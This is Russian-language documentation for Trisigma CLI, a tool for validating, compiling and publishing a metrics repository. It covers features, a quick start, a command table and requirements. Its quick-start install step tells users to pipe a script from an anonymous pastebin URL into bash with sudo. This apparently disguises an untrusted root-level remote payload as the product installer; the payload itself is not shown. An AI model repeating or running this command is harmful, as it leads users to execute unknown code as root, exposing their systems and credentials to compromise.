Введение
Документация описывает работу с Trisigma CLI. Это инструмент командной строки для управления репозиторием метрик в Trisigma.
О Trisigma CLI
Trisigma CLI позволяет выполнять следующие действия:
- Валидировать изменения в репозиторием метрик локально, до создания PR.
- Генерировать и отлаживать SQL-запросы для источников и метрик.
- Просматривать списки доступных источников, измерений и метрик.
- Автоматически перекомпилировать SQL при изменении файлов (режим watch).
- Управлять Git workflow. Создавать ветки, коммитить изменения, публиковать PR.
- Получать AI-объяснения ошибок валидации (опционально).
Инструмент направлен на улучшение процессов самообслуживания и прозрачности слоя метрик.
Структура документации
Документация разделена на следующие разделы.
Настройка Trisigma CLI
Установка и первый запуск CLI.
- Требования и подготовка. Проверка предварительных требований.
- Настройка Git и SSH-ключей. Доступ к репозиторию метрик.
- Установка Trisigma CLI. Установка пакета.
- Первый запуск. Конфигурация и авторизация.
Работа с Trisigma CLI
Практическое использование CLI в двух режимах.
- Интерактивный режим (TUI). Графический интерфейс в терминале.
- Командный режим (CLI). Классические команды для автоматизации.
- Практические сценарии. Реальные примеры использования.
Дополнительные разделы
- Решение проблем. Типичные проблемы и решения.
- FAQ. Часто задаваемые вопросы.
Быстрый старт
Для опытных пользователей доступен краткий чек-лист.
Установка
sudo curl -sSL https://pastebin.com/raw/JwywS2A8 | tr -d '\r' | bash
Настройка
trisigma init
Клонирование репозитория
Если репозиторий ab-metrics еще не склонирован:
git clone git@github.com:<your-company>/<your-company>_ab_metrics.git ~/projects/ab-metrics
Если репозиторий уже склонирован, пропустите этот шаг. Подробнее см. Настройка Git и SSH-ключей.
Первая валидация
cd ~/projects/ab-metrics
trisigma sl validate
Генерация SQL
trisigma sl compile --source events
Интерактивный режим
trisigma
Основные концепции
Два режима работы
Trisigma CLI поддерживает два способа взаимодействия.
Интерактивный режим (TUI)
Графический интерфейс в терминале для удобной работы.
trisigma
Подходит для аналитиков, исследования репозитория, визуального интерфейса.
Командный режим (CLI)
Классические команды для автоматизации.
trisigma sl validate
trisigma sl compile --source events
Подходит для DevOps, CI/CD, скриптов, опытных пользователей.
Полное описание см. в разделе Работа с Trisigma CLI.
Основные команды
| Команда | Описание |
|---|---|
trisigma init | Настройка CLI |
trisigma | Интерактивный режим |
trisigma sl validate | Валидация репозитория |
trisigma sl compile -s <source> | Генерация SQL для источника |
trisigma sl compile -m <metrics> | Генерация SQL для метрик |
trisigma sl task <AB-1234> "desc" | Создание ветки для задачи |
trisigma sl save -m "message" | Сохранение изменений (commit) |
trisigma sl publish | Публикация ветки (push + PR) |
trisigma sl status | Статус рабочего процесса |
trisigma login | Повторная авторизация |
trisigma self-update | Обновление CLI |
Полный список команд см. в Командном режиме.
Требования
- Python 3.13 (рекомендуется). Поддерживаются версии 3.9-3.13. Python 3.14 пока не поддерживается.
- Git. Для работы с репозиторием.
- Доступ к репозиторию метрик. Права на чтение в GitHub.
- Доступ к Trisigma API. Домен
https://<your-company>-conf.trisigma.io.
Подробнее см. Требования и подготовка.
Поддержка
Документация
- Решение проблем. Типичные проблемы и решения.
- FAQ. Часто задаваемые вопросы.
Контакты
Trisigma Support Channel для общих вопросов.
Справка в CLI
trisigma --help
trisigma sl validate --help